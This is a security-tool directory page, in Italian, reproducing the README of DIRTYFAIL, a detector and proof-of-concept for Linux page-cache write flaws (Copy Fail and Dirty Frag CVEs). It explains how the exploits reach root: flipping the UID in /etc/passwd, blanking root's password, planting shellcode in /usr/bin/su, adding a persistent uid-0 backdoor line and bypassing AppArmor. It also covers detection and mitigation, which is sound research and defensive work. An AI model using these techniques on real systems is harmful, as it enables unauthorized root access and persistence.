Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DIRTYFAIL — Detector + PoC per le vulnerabilità di scrittura nella cache delle pagine di Linux: Copy Fail (CVE-2026-31431) e Dirty Frag (CVE-2026-43284/43500). Solo ricerca sulla sicurezza autorizzata. | Kitploit
Strumenti/GitHubGitHub/karazajac/dirtyfail
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingPaper e RicercaApprendimento e FormazioneRed TeamingEscape dal ContainerBinary ExploitationLab e Pratica
GitHubkarazajac/dirtyfail

DIRTYFAIL

26123 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Detector + PoC per le vulnerabilità di scrittura nella cache delle pagine di Linux: Copy Fail (CVE-2026-31431) e Dirty Frag (CVE-2026-43284/43500). Solo ricerca sulla sicurezza autorizzata.

Vedi Repository

DIRTYFAIL

Un rilevatore e harness PoC unificati per le famiglie di vulnerabilità di scrittura cache di pagina Linux Copy Fail e Dirty Frag.``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝

root@kitploit:~
DIRTYFAIL è un piccolo strumento C ben documentato per ricercatori di sicurezza. Rileva se un host Linux è vulnerabile alle tre CVE di questa famiglia e — con conferma esplicita e digitata — esegue una vera prova di concetto che fa cadere il chiamante in una shell di root su un sistema vulnerabile.

| CVE / variante | Nome | Copertura DIRTYFAIL |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` page-cache write) | Rilevamento + PoC completo |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP page-cache write          | Rilevamento + PoC completo |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP page-cache write (`esp6`) | Rilevamento + PoC completo |
| **CVE-2026-43500**    | Dirty Frag — RxRPC page-cache write                  | Rilevamento + PoC completo |
| Variante Copy Fail GCM | xfrm-ESP `rfc4106(gcm(aes))` page-cache write        | Rilevamento + PoC completo |

**Modalità bonus:**

- **`--scan --active`** — sonde attive sentinel-STORE. Per default, `--scan` riporta le precondizioni per CVE (kernel, moduli, stato LSM) più una sonda attiva della primitiva Copy Fail. Aggiungendo `--active` si estende la sonda STORE del file sentinella a tutte le altre quattro primitive (ESP v4, ESP v6, RxRPC, GCM): ciascuna attiva il trigger del kernel contro una sentinella `/tmp` e segnala VULNERABILE solo se i byte marcatori atterrano effettivamente. Questo è l'unico modo per distinguere un kernel con patch backportata (le precondizioni dicono vulnerabile ma la sonda dice intatto) da uno senza patch senza eseguire l'exploit completo. `/etc/passwd` non viene mai toccato. Autocalibra lo spostamento V6 STORE per build del kernel.
- **`--exploit-backdoor`** — backdoor persistente uid-0: sovrascrittura con corrispondenza di lunghezza di una riga `nologin`/`false`/`sync` in `/etc/passwd` con `dirtyfail::0:0:<pad>:/:/bin/bash`. Sopravvive all'uscita della shell finché la pagina non viene espulsa. Stato salvato in `/var/tmp/.dirtyfail.state` per `--cleanup-backdoor`. Il nome utente `dirtyfail` è deliberatamente abbinato a questo progetto in modo che sia immediatamente identificabile in qualsiasi audit — cambia `NEW_USER` in `src/backdoor.c` se hai bisogno di un identificatore diverso per un impegno autorizzato di red team.
- **AppArmor bypass** — sconfigge la policy `apparmor_restrict_unprivileged_userns=1` di Ubuntu tramite una re-esecuzione `change_onexec("crun")` a salto singolo in un profilo non confinato che mantiene le capacità userns. Ogni modalità di exploit gestisce questo internamente tramite una fork: il genitore rimane nel namespace init, il figlio esegue la danza di bypass, il genitore legge la cache di pagina globale ed esegue `su` per ottenere root reale del namespace init. Il flag legacy `--aa-bypass` esiste ancora per il debug isolato della meccanica di bypass. Vedi [§8.5 Architettura](#85-architecture-outerinner-fork-based-bypass).

## Verificato funzionante su

DIRTYFAIL è stato convalidato empiricamente end-to-end su più distribuzioni e versioni del kernel. La matrice seguente riflette i risultati dei test per modalità dell'esecuzione di ciascuna modalità `--exploit-*` su un'installazione pulita di ciascuna distribuzione.

| Distro | Kernel | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | SU shellcode |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (non testato) |
| Debian 13.4 | `6.12.86+deb13` | nessuno | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (rafforzato) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**Legenda:** ✅ exploit atterrato e ha prodotto root reale del namespace init  · 🛡 mitigato — l'exploit non può raggiungere il bug del kernel (kernel patchato O LSM blocca il percorso non privilegiato)  · ⏭ non applicabile (precondizione mancante)

### Convalida sonda attiva (`--scan --active`)

Il flag `--active` aggiunge una sonda STORE per file sentinella per CVE durante il rilevamento. Abbiamo convalidato gli output della sonda contro le stesse 4 distribuzioni sopra (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — la matrice seguente mostra il verdetto della sonda per modalità e corrisponde uno-a-uno con la verità di base dell'exploit completo:

| Distro | Sonda Copy Fail | Sonda ESP v4 | Sonda ESP v6 | Sonda RxRPC | Sonda GCM |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | intatta 🛡 | intatta 🛡 | intatta 🛡 | intatta 🛡 | intatta 🛡 |
| Fedora 44   | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | byte cambiato ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | precondizioni ⏭ | sentinella cambiata ✅ |
| Ubuntu 26.04 | intatta 🛡 | bloccata da LSM 🛡 | bloccata da LSM 🛡 | bloccata da LSM 🛡 | bloccata da LSM 🛡 |

L'offset di atterraggio STORE della sonda V6 (8 su Fedora e Alma) corrisponde allo `V6_STORE_SHIFT` empirico che `calibrate_v6_shift()` scopre in esecuzione — confermando che l'autocalibrazione sostituisce correttamente la costante precedentemente hard-coded tra le build del kernel.

¹ GCM e Backdoor richiedono che `algif_aead` sia caricabile. Ubuntu 24.04 include `/etc/modprobe.d/disable-algif_aead.conf` che lo mette in blacklist come mitigazione di Copy Fail. Rimossa la blacklist (ad esempio su un kernel precedente alla mitigazione), entrambe le modalità funzionano end-to-end.

² Il percorso `algif_aead` di Copy Fail è mitigato dalla blacklist modprobe; la primitiva CVE sottostante nel kernel è la stessa sia che `authencesn` sia raggiungibile o meno. xfrm-ESP, RxRPC e la variante GCM atterrano tutte sullo stesso kernel perché non passano attraverso `algif_aead`.

³ Il pacchetto `kernel-modules-extra` di AlmaLinux 10 non è installato per default su un'installazione Minimal, quindi `rxrpc.ko` manca sul disco. Installando `kernel-modules-extra-$(uname -r)` da EPEL o dal repository extras di AlmaLinux si riporta il modulo; su un'installazione minimal standard RxRPC non è raggiungibile.

⁴ **Ubuntu 26.04 LTS blocca in modo completo lo sfruttamento non privilegiato.** Il kernel in distribuzione `7.0.0-15.15` (rilasciato il 22-04-2026) **precede la patch mainline `f4c50a4034e6` (incorporata il 07-05-2026) di circa 2 settimane** — quindi il bug È ancora presente nel kernel. La difesa di Ubuntu è **difesa in profondità tramite rafforzamento di AppArmor**, non una patch del kernel:

- `apparmor_restrict_unprivileged_userns=1` è abilitato per default.
- Su `unshare(CLONE_NEWUSER)`, l'enforcement di AppArmor a livello kernel transiziona automaticamente QUALSIASI profilo (inclusi quelli con flag `(unconfined)` come `crun`, `chrome`, `unconfined` predefinito) a un sottoprofilo `<profilo>//&unprivileged_userns (mixed)` che ha `audit deny capability`. uid 0 all'interno del nuovo userns non ottiene capacità.
- `change_onexec` verso un profilo diverso non aiuta — persino il profilo `crun` (che ha permessi espliciti `userns,` e `flags=(unconfined)`) transiziona automaticamente su unshare. Verificato tramite `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'` → `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) scrive con successo `uid_map`, ma `setresuid(0)` quindi ha successo mentre `ioctl(SIOCSIFFLAGS)` e ogni altra syscall limitata da `CAP_NET_ADMIN` restituisce EPERM perché la negazione della capacità è per namespace, non per uid.

Il binario DIRTYFAIL arma correttamente il suo bypass e raggiunge lo stadio 2, ma non può acquisire `CAP_NET_ADMIN` all'interno del nuovo userns. L'infrastruttura dell'exploit è bloccata a livello di LSM indipendentemente dalla tecnica di bypass. Abbiamo testato `change_onexec(crun)`, `change_onexec(chrome)`, `aa-exec -p <profilo>`, e `unshare(USER|NET) + newuidmap` diretto — tutti producono lo stesso sottoprofilo `unprivileged_userns`.

**Questo è un buon lavoro di sicurezza da parte di Canonical.** La classe di bug è mitigata per utenti non privilegiati senza richiedere una ricostruzione del kernel. Un successivo aggiornamento stabile porterà probabilmente anche la patch del kernel propriamente detta, completando la difesa.

⁵ **`--exploit-su` shellcode injection** dipende dalla stessa primitiva di 4 byte Copy Fail `algif_aead` (`cf_4byte_write`). Su kernel dove Copy Fail è patchato (Debian 13.4) o bloccato da LSM (Ubuntu 26.04 — ma il percorso `algif_aead` è stato anche patchato in `7.0.0-15`), il plant esegue ma il passo di verifica fallisce ("page cache does not match planted shellcode") e il ripristino automatico ripristina `/usr/bin/su`. Testato end-to-end su AlmaLinux 10.1 (entry point all'offset di file `0x45b0`) e Fedora 44 (offset `0x1b60`); il parser ELF gestisce la base PIE di ciascuna distribuzione indipendentemente. Prova di root reale su Fedora 44: `uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

Riproducibilità dei test:

- Abbiamo reinstallato ciascuna distribuzione da un ISO pulito, impostato autenticazione con chiave SSH + sudo NOPASSWD, clonato e compilato DIRTYFAIL su ciascuna, fatto uno snapshot `clean-build` di Parallels, quindi eseguito tutte le 5 modalità di exploit con `--no-shell` (ripristino automatico tramite fadvise + drop_caches).
- Le righe dei risultati empirici sono derivate dal parsing dell'output effettivo di `--exploit-*`, cercando i segnali di successo: `page cache now reports <user> with uid 0`, `root password field is now empty`, `is now uid 0` (backdoor), o uno qualsiasi dei pattern di fallimento (`write did not land`, `byte flip failed`, `setresuid: Invalid`, `add_rxrpc_key: No such device`, `page cache not in expected shape`).
- Per la verifica "root reale" di RxRPC e Backdoor abbiamo eseguito `echo "" | su - root` / `echo "" | su - dirtyfail` e confermato `uid=0(root)` più lettura riuscita di `/etc/shadow`.

> **Solo test autorizzati.** Usa DIRTYFAIL solo su sistemi di tua proprietà o per i quali sei esplicitamente incaricato di valutare. Le modalità di exploit corrompono `/etc/passwd` *nella cache di pagina del kernel* (il file su disco non viene mai toccato). La pulizia è `dirtyfail --cleanup` o `echo 3 > /proc/sys/vm/drop_caches`.

---

## Indice

1. [La classe di bug](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 Panoramica dell'architettura](#45-architecture-overview)
5. [Compilazione](#5-build)
6. [Utilizzo](#6-usage)
7. [Come DIRTYFAIL rileva ogni CVE](#7-how-dirtyfail-detects-each-cve)
8. [Come DIRTYFAIL sfrutta ogni CVE](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 Architettura: bypass basato su fork esterno/interno](#85-architecture-outerinner-fork-based-bypass)
9. [Mitigazioni](#9-mitigations)
10. [Etica e divulgazione](#10-ethics--disclosure)
11. [Crediti](#11-credits)

**Documenti di accompagnamento:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/DEFENDERS.md) — playbook per amministratori: sono vulnerabile, come mitigare, cosa monitorare.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/RESEARCH.md) — audit del codice sorgente del kernel dei percorsi adiacenti (AH, IPCOMP, MACsec, kTLS, ecc.) per la stessa classe di bug.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-check.sh) — rilevatore bash autonomo per amministratori (nessuna compilazione necessaria).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/99-dirtyfail.rules) — regole auditd pronte per il caricamento per la catena di exploit.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-container-escape.sh) — demo del raggio di esplosione cross-namespace.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/exploit_su_aarch64.S) — sorgente shellcode aarch64 (ARM64) per `--exploit-su`. Non testato su hardware; distribuito bloccato dietro `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Rigenera i byte corrispondenti in `src/exploit_su.c` con `aarch64-linux-gnu-as` per verificare.

---

## 1. La classe di bug

**Le vulnerabilità di scrittura nella cache di pagina** permettono a un utente non privilegiato di modificare la copia in memoria del kernel di un file per cui hanno solo accesso in lettura. Il file su disco non viene mai scritto; la modifica persiste in RAM fino a quando la pagina non viene espulsa (`drop_caches`, pressione di memoria, o riavvio).

Questa classe è iniziata con **Dirty Pipe** (CVE-2022-0847), che abusava dei flag `pipe_buffer`. Copy Fail e Dirty Frag sono discendenti che prendono di mira invece il membro `frag` di `struct sk_buff`. Il meccanismo è sempre lo stesso:

1. Lo spazio utente esegue `splice()` di una pagina della cache di pagina da un file leggibile (ad es. `/etc/passwd`, `/usr/bin/su`) nel `frag` di un buffer del kernel.
2. Un percorso di ricezione esegue crittografia in-place su quel buffer — le stesse pagine sono sia sorgente che destinazione dell'operazione.
3. La routine crittografica esegue uno STORE "di appoggio" al di fuori della regione dati (una riorganizzazione del numero di sequenza, una decrittazione a singolo blocco, ecc.) che atterra all'interno della pagina fissata dall'utente.
4. La copia nella cache di pagina del file è ora permanentemente modificata per ogni lettore sull'host, fino a quando la pagina non viene espulsa.

Poiché il bug è un **difetto logico deterministico**, non una race condition, i tassi di successo sono essenzialmente al 100% e il kernel non va in panico in caso di fallimento.

---

## 2. CVE-2026-31431 — Copy Fail

* Divulgazione: **2026-04-29**
* Sito: <https://copy.fail/>
* PoC originale (C):     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* PoC originale (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* Introdotto dal commit:  `72548b093ee3` (2017)
* Risolto dal commit:       `a664bf3d` (mainline 6.12 / 6.17 / 6.18 stables)
* Confermato affetto:    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### Causa principale

Il modulo `algif_aead` del kernel espone l'API crittografica AEAD allo spazio utente tramite `AF_ALG`. Il template `authencesn(hmac(sha256), cbc(aes))` implementa RFC-4303 ESN (Extended Sequence Numbers); parte del suo percorso di decrittazione esegue una scrittura di appoggio di 4 byte per riorganizzare il numero di sequenza:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

Lo STORE in ★ è innocuo su un normale pacchetto IPsec — si posiziona all'interno dell'area tag dello skb, che è di proprietà del kernel. Il template crittografico presuppone che src e dst puntino alla memoria del kernel.

algif_aead viola questa supposizione. Accetta splice() dallo spazio utente, che inserisce pagine della cache delle pagine nella scatterlist della richiesta. Poiché l'AEAD opera in-place (req->dst = req->src), la pagina della cache delle pagine ora si trova all'offset della scatterlist di destinazione bersagliata dalla scrittura di scratch.

I 4 byte che vengono scritti sono i byte 4..7 dell'AAD inviato dallo spazio utente — il campo "seqno_lo" di un header ESP, che l'attaccante riempie con ciò che vuole.

Primitiva netta: scrittura arbitraria di 4 byte a offset arbitrario nella cache delle pagine di qualsiasi file che l'attaccante può aprire con open(O_RDONLY).

Sfruttamento

L'armamento più semplice è in /etc/passwd. Una linea normale di utente assomiglia a:``` kara❌1000:1000:Kara,,,:/home/kara:/bin/bash

root@kitploit:~
Flippare `1000` (il campo UID, esattamente 4 byte ASCII per qualsiasi UID
1000–9999) a `0000` fa sì che `getpwnam()` di glibc riporti uid=0 per
quell'utente. PAM, tuttavia, autentica ancora contro il file on-disk
`/etc/shadow` (che è intatto), quindi `su <utente>` richiede la password
reale, la valida, poi esegue `setuid(0)` — e si ritrova come root
perché la copia nella cache di pagina di `/etc/passwd` dice che siamo root.

L'integrità di `/etc/shadow` è preservata. Il file on-disk `/etc/passwd` è
preservato. Solo la copia in RAM del kernel di `/etc/passwd` è corrotta,
e solo fino a `drop_caches` o a un riavvio.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* Divulgazione:          **2026-04-30 → 2026-05-08**
* PoC originale (C):     [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* Ricercatore:           Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* Introdotto dal commit: `cac2661c53f3` (2017-01-17)
* Risolto dal commit:    `f4c50a4034e6` (mainline net.git, unito 2026-05-07)
* Confermato affetto:    Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### Causa principale

`esp_input()` dovrebbe chiamare `skb_cow_data()` prima della decifratura AEAD in-place quando un skb è non lineare (cioè ha frammenti). Il percorso del codice ha un cortocircuito:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

Se lo skb ha frammenti ma nessun frag_list, esp_input bypassa skb_cow_data e passa il frammento fornito dall'utente direttamente al template AEAD. La stessa scrittura temporanea authencesn(...) che alimenta il Copy Fail poi atterra all'offset di file (assoclen + cryptlen) della pagina splicata.

I 4 byte memorizzati sono seq_hi dello stato replay_esn della SA — controllabile dall'attaccante al momento della registrazione della SA tramite l'attributo netlink XFRMA_REPLAY_ESN_VAL.

Costo: per registrare una SA XFRM è necessario CAP_NET_ADMIN, quindi l'attaccante entra prima in un nuovo namespace utente tramite unshare(CLONE_NEWUSER). Ciò è consentito per impostazione predefinita sulla maggior parte delle distribuzioni (il profilo rafforzato di Ubuntu è la notabile eccezione).

Fondamentalmente, questa primitiva funziona anche quando è in vigore la mitigazione Copy Fail di algif_aead — il percorso xfrm non passa attraverso algif_aead. Un difensore che ha solo inserito in blacklist algif_aead è ancora vulnerabile a Dirty Frag.

Sfruttamento

Il PoC pubblicato da V4bel scrive un ELF "root-shell" statico di 192 byte sui primi 192 byte della cache di pagina di /usr/bin/su, utilizzando 48 STORE sequenziali da 4 byte. Dopo la modifica, execve("/usr/bin/su") esegue il nuovo punto di ingresso ELF con il bit setuid-root intatto, elimina completamente PAM e execve("/bin/sh") dall'interno dello shellcode.

DIRTYFAIL adotta l'approccio più semplice del flip UID di /etc/passwd (un singolo STORE da 4 byte — lo stesso target di Copy Fail) per due motivi:

  1. È una dimostrazione primitiva a scrittura singola, più facile da studiare.
  2. È completamente reversibile con POSIX_FADV_DONTNEED e non lascia /usr/bin/su in uno stato corrotto per altri utenti sul sistema.

4. CVE-2026-43500 — Dirty Frag (RxRPC)

  • Divulgazione: 2026-04-29 → 2026-05-08
  • Patch: non presente in alcun albero al 2026-05-08; patch del ricercatore in sospeso: lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  • Ricercatore: Hyunwoo Kim (@v4bel)
  • Introdotto dal commit: 2dc334f1a63a (2023-06)

Causa principale

rxkad_verify_packet_1() esegue una decifratura in-place pcbc(fcrypt) a singolo blocco sui primi 8 byte di un pacchetto dati RxRPC:```c sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); memset(&iv, 0, sizeof(iv)); skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE

root@kitploit:~
Se una pagina della cache delle pagine è stata spliced nel frag dello skb, la decifratura a 8 byte viene eseguita su di essa.

**Differenza da xfrm-ESP**: gli 8 byte che vengono MEMORIZZATI sono `fcrypt_decrypt(C, K)`, dove `C` è il ciphertext esistente a quell'offset del file e `K` è la chiave di sessione di un token RxRPC v1 che l'attaccante ha registrato tramite `add_key("rxrpc", ...)`. L'attaccante non controlla direttamente il valore MEMORIZZATO — deve forzare brute-force `K` finché `fcrypt_decrypt(C, K)` produce il plaintext desiderato.

`fcrypt` è un cifrario Andrew File System con una **chiave a 56 bit** e blocco da 8 byte. È deterministico; si porta pulitamente nello spazio utente; e il suo spazio delle chiavi è abbastanza piccolo che un target vincolato di 8 byte può essere forzato brute-force in millisecondi o secondi a seconda del budget di vincolo.

**Fondamentalmente, questo percorso NON richiede privilegi di namespace** — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` sono tutti disponibili a qualsiasi utente non privilegiato. RxRPC colma il divario sul profilo hardened-userns di Ubuntu (dove xfrm-ESP è bloccato) perché `rxrpc.ko` è incluso nella build predefinita di Ubuntu.

### Sfruttamento

Il full exploit:

1. Forza brute-force `K_A`, `K_B`, `K_C` nello spazio utente in modo che i tre MEMORIZZA in `/etc/passwd` agli offset 4, 6, 8 producano rispettivamente `"::"`, `"0:"`, `"0:GGGGGG:"` (last-write-wins).
2. Per ogni `K_i`, registra un token RxRPC v1 con `add_key`, esegui un handshake AF_RXRPC falsificato contro un falso server UDP nello stesso processo, e attiva `rxkad_verify_packet_1` tramite splice.
3. La copia nella cache delle pagine della riga 1 di `/etc/passwd` ora è `root::0:0:GGGGGG:/root:/bin/bash` — un campo password vuoto.
4. PAM con `pam_unix.so nullok` accetta la password vuota; `su -` fornisce una shell di root.

### Copertura DIRTYFAIL

DIRTYFAIL include **sia** il rilevamento che un PoC completo per questa CVE.

L'implementazione di DIRTYFAIL risiede in `src/dirtyfrag_rxrpc.c` e `src/fcrypt.c`:

- **Cifrario fcrypt** (`fcrypt.c`): chiave a 56 bit, blocco da 8 byte, Feistel a 16 round; S-box standard del protocollo rxkad. Include un harness di brute-force single-core (~18 Mops/s) che cerca lo spazio delle chiavi finché un plaintext candidato soddisfa un predicato fornito dal chiamante.
- **Checksum rxkad** (`compute_csum_iv`, `compute_cksum`): formula del kernel riprodotta tramite AF_ALG `pcbc(fcrypt)` in modo che il cksum di rete nel nostro pacchetto DATA falsificato superi il gate di `rxkad_verify_packet`.
- **Costruzione token RxRPC v1** (`build_rxrpc_v1_token`): token rxkad codificato XDR registrato tramite `add_key("rxrpc", ...)` con la nostra chiave di sessione forzata brute-force.
- **Client AF_RXRPC + falso server UDP**: il client avvia una chiamata, il falso server estrae (epoch, cid, callNumber) dal primo pacchetto ed emette una CHALLENGE falsificata in modo che il client carichi `conn->rxkad.cipher` con la nostra chiave.
- **Trigger splice** (`do_one_trigger`): vmsplice header di rete DATA falsificato → splice 8 byte da `/etc/passwd` → splice pipe → udp_srv → recvmsg guida il kernel attraverso `rxkad_verify_packet_1` → MEMORIZZA 8 byte.
- **Catena di 3-splice con correzione del ciphertext concatenato**: forza brute-force `K_A` / `K_B` / `K_C`, applicando lo shift del ciphertext concatenato tra i passaggi (dopo che splice A sovrascrive i byte 4..11, il ciphertext di splice B ai byte 6..13 inizia con `P_A[2..7]`; lo stesso per C contro B).

Il PoC finale rimodella la riga 1 di `/etc/passwd` in:```
root::0:0:GGGGG:/root:/bin/bash

— campo password vuoto — e execlp("su", "-") quindi ottiene una shell di root perché pam_unix.so nullok accetta una password vuota.

Per confronto e verifica rispetto al PoC originale, vedi exp.c di V4bel: https://github.com/V4bel/dirtyfrag.


4.5 Panoramica dell'architettura

DIRTYFAIL è un singolo binario C costruito da ~10 moduli sorgente. La struttura di alto livello:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘

Per-CVE primitives (each has detect/exploit/exploit_inner functions):

┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘

root@kitploit:~
**Decisioni chiave di progettazione:**

- **Split esterno/interno**: ogni exploit esegue un fork di un figlio per il lavoro nel kernel. Il genitore rimane nel namespace init in modo che l'eventuale `execlp("su", user)` raggiunga la vera root init-ns. Vedi [§8.5 Architettura](#85-architecture-outerinner-fork-based-bypass).
- **La cache delle pagine è globale**: il figlio scrive dall'interno del suo userns di bypass, il genitore legge dal ns init; stessi byte visibili.
- **Le variabili d'ambiente trasferiscono lo stato genitore → figlio**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` ecc. (backdoor). `execv` preserva l'ambiente attraverso le transizioni di fase.
- **Compagno difensivo**: `--mitigate` implementa le stesse blacklist + hardening sysctl che le distribuzioni forniscono come mitigazioni ufficiali. `--scan` rileva quando i cap sono bloccati da LSM e segnala "mitigato" anziché l'ingannevole "VULNERABILI precondizioni soddisfatte".

---

## 5. Compilazione

### Prerequisiti

* **Linux** (questo binario è solo Linux a runtime).
* `gcc` o `clang`, `make`.
* Header UAPI Linux — in particolare `<linux/xfrm.h>`, `<linux/netlink.h>`,
  `<linux/rtnetlink.h>`, `<linux/if.h>`.

| Distribuzione     | Installazione                                       |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`    |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`           |
| Arch              | `sudo pacman -S base-devel`                          |

### Comandi di compilazione```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

